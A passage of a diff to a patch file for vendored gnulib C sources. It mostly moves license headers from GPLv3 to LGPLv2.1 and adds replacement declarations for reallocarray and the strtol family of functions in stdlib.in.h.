+ Copyright (C) 2005-2006, 2009-2021 Free Software Foundation, Inc.
+ Written by Simon Josefsson.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef GNULIB_SIZE_MAX_H
+ #define GNULIB_SIZE_MAX_H
+--- a/gnulib/lib/stat-time.c
++++ b/gnulib/lib/stat-time.c
+@@ -1,3 +1,21 @@
++/* stat-related time functions.
++
++ Copyright (C) 2012-2021 Free Software Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
+ #include <config.h>
++
+ #define _GL_STAT_TIME_INLINE _GL_EXTERN_INLINE
+ #include "stat-time.h"
+--- a/gnulib/lib/stat-time.h
++++ b/gnulib/lib/stat-time.h
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 2005, 2007, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Paul Eggert. */
+--- a/gnulib/lib/stat-w32.c
++++ b/gnulib/lib/stat-w32.c
+@@ -1,17 +1,17 @@
+ /* Core of implementation of fstat and stat for native Windows.
+ Copyright (C) 2017-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible. */
+--- a/gnulib/lib/stat-w32.h
++++ b/gnulib/lib/stat-w32.h
+@@ -1,17 +1,17 @@
+ /* Core of implementation of fstat and stat for native Windows.
+ Copyright (C) 2017-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _STAT_W32_H
+--- a/gnulib/lib/stat.c
++++ b/gnulib/lib/stat.c
+@@ -1,17 +1,17 @@
+ /* Work around platform bugs in stat.
+ Copyright (C) 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Eric Blake and Bruno Haible. */
+--- a/gnulib/lib/stdarg.in.h
++++ b/gnulib/lib/stdarg.in.h
+@@ -1,18 +1,18 @@
+ /* Substitute for and wrapper around <stdarg.h>.
+ Copyright (C) 2008-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _@GUARD_PREFIX@_STDARG_H
+
+--- a/gnulib/lib/stdbool.in.h
++++ b/gnulib/lib/stdbool.in.h
+@@ -1,18 +1,18 @@
+ /* Copyright (C) 2001-2003, 2006-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <haible@clisp.cons.org>, 2001.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _GL_STDBOOL_H
+ #define _GL_STDBOOL_H
+--- a/gnulib/lib/stddef.in.h
++++ b/gnulib/lib/stddef.in.h
+@@ -2,18 +2,18 @@
+
+ Copyright (C) 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Eric Blake. */
+
+--- a/gnulib/lib/stdint.in.h
++++ b/gnulib/lib/stdint.in.h
+@@ -2,18 +2,18 @@
+ Written by Paul Eggert, Bruno Haible, Sam Steingold, Peter Burwood.
+ This file is part of gnulib.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /*
+ * ISO C 99 <stdint.h> for platforms that lack it.
+@@ -85,7 +85,7 @@
+
+ /* Override WINT_MIN and WINT_MAX if gnulib's <wchar.h> or <wctype.h> overrides
+ wint_t. */
+-#if @GNULIB_OVERRIDES_WINT_T@
++#if @GNULIBHEADERS_OVERRIDE_WINT_T@
+ # undef WINT_MIN
+ # undef WINT_MAX
+ # define WINT_MIN 0x0U
+@@ -598,7 +598,7 @@ typedef int _verify_intmax_size[sizeof (
+ /* wint_t limits */
+ /* If gnulib's <wchar.h> or <wctype.h> overrides wint_t, @WINT_T_SUFFIX@ is not
+ accurate, therefore use the definitions from above. */
+-# if !@GNULIB_OVERRIDES_WINT_T@
++# if !@GNULIBHEADERS_OVERRIDE_WINT_T@
+ # undef WINT_MIN
+ # undef WINT_MAX
+ # if @HAVE_SIGNED_WINT_T@
+--- a/gnulib/lib/stdio.in.h
++++ b/gnulib/lib/stdio.in.h
+@@ -2,18 +2,18 @@
+
+ Copyright (C) 2004, 2007-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #if __GNUC__ >= 3
+ @PRAGMA_SYSTEM_HEADER@
+@@ -242,7 +242,7 @@ _GL_WARN_ON_USE (fclose, "fclose is not
+ _GL_CXXALIAS_MDA (fcloseall, int, (void));
+ # else
+ # if @HAVE_DECL_FCLOSEALL@
+-# if defined __FreeBSD__
++# if defined __FreeBSD__ || defined __DragonFly__
+ _GL_CXXALIAS_SYS (fcloseall, void, (void));
+ # else
+ _GL_CXXALIAS_SYS (fcloseall, int, (void));
+@@ -1257,6 +1257,7 @@ _GL_CXXALIASWARN (scanf);
+ # if !(defined __cplusplus && defined GNULIB_NAMESPACE)
+ # define snprintf rpl_snprintf
+ # endif
++# define GNULIB_overrides_snprintf 1
+ _GL_FUNCDECL_RPL (snprintf, int,
+ (char *restrict str, size_t size,
+ const char *restrict format, ...)
+@@ -1302,6 +1303,7 @@ _GL_WARN_ON_USE (snprintf, "snprintf is
+ # if !(defined __cplusplus && defined GNULIB_NAMESPACE)
+ # define sprintf rpl_sprintf
+ # endif
++# define GNULIB_overrides_sprintf 1
+ _GL_FUNCDECL_RPL (sprintf, int,
+ (char *restrict str, const char *restrict format, ...)
+ _GL_ATTRIBUTE_FORMAT_PRINTF_STANDARD (2, 3)
+@@ -1369,6 +1371,7 @@ _GL_WARN_ON_USE (tmpfile, "tmpfile is no
+ # if !(defined __cplusplus && defined GNULIB_NAMESPACE)
+ # define asprintf rpl_asprintf
+ # endif
++# define GNULIB_overrides_asprintf
+ _GL_FUNCDECL_RPL (asprintf, int,
+ (char **result, const char *format, ...)
+ _GL_ATTRIBUTE_FORMAT_PRINTF_STANDARD (2, 3)
+@@ -1390,6 +1393,7 @@ _GL_CXXALIASWARN (asprintf);
+ # if !(defined __cplusplus && defined GNULIB_NAMESPACE)
+ # define vasprintf rpl_vasprintf
+ # endif
++# define GNULIB_overrides_vasprintf 1
+ _GL_FUNCDECL_RPL (vasprintf, int,
+ (char **result, const char *format, va_list args)
+ _GL_ATTRIBUTE_FORMAT_PRINTF_STANDARD (2, 0)
+@@ -1573,6 +1577,7 @@ _GL_CXXALIASWARN (vscanf);
+ # if !(defined __cplusplus && defined GNULIB_NAMESPACE)
+ # define vsnprintf rpl_vsnprintf
+ # endif
++# define GNULIB_overrides_vsnprintf 1
+ _GL_FUNCDECL_RPL (vsnprintf, int,
+ (char *restrict str, size_t size,
+ const char *restrict format, va_list args)
+@@ -1609,6 +1614,7 @@ _GL_WARN_ON_USE (vsnprintf, "vsnprintf i
+ # if !(defined __cplusplus && defined GNULIB_NAMESPACE)
+ # define vsprintf rpl_vsprintf
+ # endif
++# define GNULIB_overrides_vsprintf 1
+ _GL_FUNCDECL_RPL (vsprintf, int,
+ (char *restrict str,
+ const char *restrict format, va_list args)
+--- a/gnulib/lib/stdlib.in.h
++++ b/gnulib/lib/stdlib.in.h
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 1995, 2001-2004, 2006-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #if __GNUC__ >= 3
+@@ -1032,12 +1032,23 @@ _GL_WARN_ON_USE (realloc, "realloc is no
+
+
+ #if @GNULIB_REALLOCARRAY@
+-# if ! @HAVE_REALLOCARRAY@
++# if @REPLACE_REALLOCARRAY@
++# if !(defined __cplusplus && defined GNULIB_NAMESPACE)
++# undef reallocarray
++# define reallocarray rpl_reallocarray
++# endif
++_GL_FUNCDECL_RPL (reallocarray, void *,
++ (void *ptr, size_t nmemb, size_t size));
++_GL_CXXALIAS_RPL (reallocarray, void *,
++ (void *ptr, size_t nmemb, size_t size));
++# else
++# if ! @HAVE_REALLOCARRAY@
+ _GL_FUNCDECL_SYS (reallocarray, void *,
+ (void *ptr, size_t nmemb, size_t size));
+-# endif
++# endif
+ _GL_CXXALIAS_SYS (reallocarray, void *,
+ (void *ptr, size_t nmemb, size_t size));
++# endif
+ _GL_CXXALIASWARN (reallocarray);
+ #elif defined GNULIB_POSIXCHECK
+ # undef reallocarray
+@@ -1202,6 +1213,47 @@ _GL_WARN_ON_USE (strtold, "strtold is un
+ # endif
+ #endif
+
++#if @GNULIB_STRTOL@
++/* Parse a signed integer whose textual representation starts at STRING.
++ The integer is expected to be in base BASE (2 <= BASE <= 36); if BASE == 0,
++ it may be decimal or octal (with prefix "0") or hexadecimal (with prefix
++ "0x").
++ If ENDPTR is not NULL, the address of the first byte after the integer is
++ stored in *ENDPTR.
++ Upon overflow, the return value is LONG_MAX or LONG_MIN, and errno is set
++ to ERANGE. */
++# if @REPLACE_STRTOL@
++# if !(defined __cplusplus && defined GNULIB_NAMESPACE)
++# define strtol rpl_strtol
++# endif
++# define GNULIB_defined_strtol_function 1
++_GL_FUNCDECL_RPL (strtol, long,
++ (const char *restrict string, char **restrict endptr,
++ int base)
++ _GL_ARG_NONNULL ((1)));
++_GL_CXXALIAS_RPL (strtol, long,
++ (const char *restrict string, char **restrict endptr,
++ int base));
++# else
++# if !@HAVE_STRTOL@
++_GL_FUNCDECL_SYS (strtol, long,
++ (const char *restrict string, char **restrict endptr,
++ int base)
++ _GL_ARG_NONNULL ((1)));
++# endif
++_GL_CXXALIAS_SYS (strtol, long,
++ (const char *restrict string, char **restrict endptr,
++ int base));
++# endif
++_GL_CXXALIASWARN (strtol);
++#elif defined GNULIB_POSIXCHECK
++# undef strtol
++# if HAVE_RAW_DECL_STRTOL
++_GL_WARN_ON_USE (strtol, "strtol is unportable - "
++ "use gnulib module strtol for portability");
++# endif
++#endif
++
+ #if @GNULIB_STRTOLL@
+ /* Parse a signed integer whose textual representation starts at STRING.
+ The integer is expected to be in base BASE (2 <= BASE <= 36); if BASE == 0,
+@@ -1211,15 +1263,29 @@ _GL_WARN_ON_USE (strtold, "strtold is un
+ stored in *ENDPTR.
+ Upon overflow, the return value is LLONG_MAX or LLONG_MIN, and errno is set
+ to ERANGE. */
+-# if !@HAVE_STRTOLL@
++# if @REPLACE_STRTOLL@
++# if !(defined __cplusplus && defined GNULIB_NAMESPACE)
++# define strtoll rpl_strtoll
++# endif
++# define GNULIB_defined_strtoll_function 1
++_GL_FUNCDECL_RPL (strtoll, long long,
++ (const char *restrict string, char **restrict endptr,
++ int base)
++ _GL_ARG_NONNULL ((1)));
++_GL_CXXALIAS_RPL (strtoll, long long,
++ (const char *restrict string, char **restrict endptr,
++ int base));
++# else
++# if !@HAVE_STRTOLL@
+ _GL_FUNCDECL_SYS (strtoll, long long,
+ (const char *restrict string, char **restrict endptr,
+ int base)
+ _GL_ARG_NONNULL ((1)));
+-# endif
++# endif
+ _GL_CXXALIAS_SYS (strtoll, long long,
+ (const char *restrict string, char **restrict endptr,
+ int base));
++# endif
+ _GL_CXXALIASWARN (strtoll);
+ #elif defined GNULIB_POSIXCHECK
+ # undef strtoll
+@@ -1229,6 +1295,46 @@ _GL_WARN_ON_USE (strtoll, "strtoll is un
+ # endif
+ #endif
+
++#if @GNULIB_STRTOUL@
++/* Parse an unsigned integer whose textual representation starts at STRING.
++ The integer is expected to be in base BASE (2 <= BASE <= 36); if BASE == 0,
++ it may be decimal or octal (with prefix "0") or hexadecimal (with prefix
++ "0x").
++ If ENDPTR is not NULL, the address of the first byte after the integer is
++ stored in *ENDPTR.
++ Upon overflow, the return value is ULONG_MAX, and errno is set to ERANGE. */
++# if @REPLACE_STRTOUL@
++# if !(defined __cplusplus && defined GNULIB_NAMESPACE)
++# define strtoul rpl_strtoul
++# endif
++# define GNULIB_defined_strtoul_function 1
++_GL_FUNCDECL_RPL (strtoul, unsigned long,
++ (const char *restrict string, char **restrict endptr,
++ int base)
++ _GL_ARG_NONNULL ((1)));
++_GL_CXXALIAS_RPL (strtoul, unsigned long,
++ (const char *restrict string, char **restrict endptr,
++ int base));
++# else
++# if !@HAVE_STRTOUL@
++_GL_FUNCDECL_SYS (strtoul, unsigned long,
++ (const char *restrict string, char **restrict endptr,
++ int base)
++ _GL_ARG_NONNULL ((1)));
++# endif
++_GL_CXXALIAS_SYS (strtoul, unsigned long,
++ (const char *restrict string, char **restrict endptr,
++ int base));
++# endif
++_GL_CXXALIASWARN (strtoul);
++#elif defined GNULIB_POSIXCHECK
++# undef strtoul
++# if HAVE_RAW_DECL_STRTOUL
++_GL_WARN_ON_USE (strtoul, "strtoul is unportable - "
++ "use gnulib module strtoul for portability");
++# endif
++#endif
++
+ #if @GNULIB_STRTOULL@
+ /* Parse an unsigned integer whose textual representation starts at STRING.
+ The integer is expected to be in base BASE (2 <= BASE <= 36); if BASE == 0,
+@@ -1238,15 +1344,29 @@ _GL_WARN_ON_USE (strtoll, "strtoll is un
+ stored in *ENDPTR.
+ Upon overflow, the return value is ULLONG_MAX, and errno is set to
+ ERANGE. */
+-# if !@HAVE_STRTOULL@
++# if @REPLACE_STRTOULL@
++# if !(defined __cplusplus && defined GNULIB_NAMESPACE)
++# define strtoull rpl_strtoull
++# endif
++# define GNULIB_defined_strtoull_function 1
++_GL_FUNCDECL_RPL (strtoull, unsigned long long,
++ (const char *restrict string, char **restrict endptr,
++ int base)
++ _GL_ARG_NONNULL ((1)));
++_GL_CXXALIAS_RPL (strtoull, unsigned long long,
++ (const char *restrict string, char **restrict endptr,
++ int base));
++# else
++# if !@HAVE_STRTOULL@
+ _GL_FUNCDECL_SYS (strtoull, unsigned long long,
+ (const char *restrict string, char **restrict endptr,
+ int base)
+ _GL_ARG_NONNULL ((1)));
+-# endif
++# endif
+ _GL_CXXALIAS_SYS (strtoull, unsigned long long,
+ (const char *restrict string, char **restrict endptr,
+ int base));
++# endif
+ _GL_CXXALIASWARN (strtoull);
+ #elif defined GNULIB_POSIXCHECK
+ # undef strtoull
+--- a/gnulib/lib/stpcpy.c
++++ b/gnulib/lib/stpcpy.c
+@@ -5,17 +5,17 @@
+ NOTE: The canonical source of this file is maintained with the GNU C Library.
+ Bugs can be reported to bug-glibc@prep.ai.mit.edu.
+
+- This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published by the
+- Free Software Foundation; either version 3 of the License, or any
+- later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/str-kmp.h
++++ b/gnulib/lib/str-kmp.h
+@@ -3,18 +3,26 @@
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2005.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software.
++ It is dual-licensed under "the GNU LGPLv3+ or the GNU GPLv2+".
++ You can redistribute it and/or modify it under either
++ - the terms of the GNU Lesser General Public License as published
++ by the Free Software Foundation; either version 3, or (at your
++ option) any later version, or
++ - the terms of the GNU General Public License as published by the
++ Free Software Foundation; either version 2, or (at your option)
++ any later version, or
++ - the same dual license "the GNU LGPLv3+ or the GNU GPLv2+".
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
++ Lesser General Public License and the GNU General Public License
++ for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public
++ License and of the GNU General Public License along with this
++ program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Before including this file, you need to define:
+ UNIT The element type of the needle and haystack.
+--- a/gnulib/lib/str-two-way.h
++++ b/gnulib/lib/str-two-way.h
+@@ -3,18 +3,18 @@
+ This file is part of the GNU C Library.
+ Written by Eric Blake <ebb9@byu.net>, 2008.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Before including this file, you need to include <config.h> and
+ <string.h>, and define:
+--- a/gnulib/lib/strcasecmp.c
++++ b/gnulib/lib/strcasecmp.c
+@@ -1,18 +1,18 @@
+ /* Case-insensitive string comparison function.
+ Copyright (C) 1998-1999, 2005-2007, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/strcasestr.c
++++ b/gnulib/lib/strcasestr.c
+@@ -2,18 +2,18 @@
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2005.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/strdup.c
++++ b/gnulib/lib/strdup.c
+@@ -3,18 +3,18 @@
+
+ This file is part of the GNU C Library.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _LIBC
+ # include <config.h>
+--- a/gnulib/lib/streq.h
++++ b/gnulib/lib/streq.h
+@@ -1,17 +1,17 @@
+ /* Optimized string comparison.
+ Copyright (C) 2001-2002, 2007, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
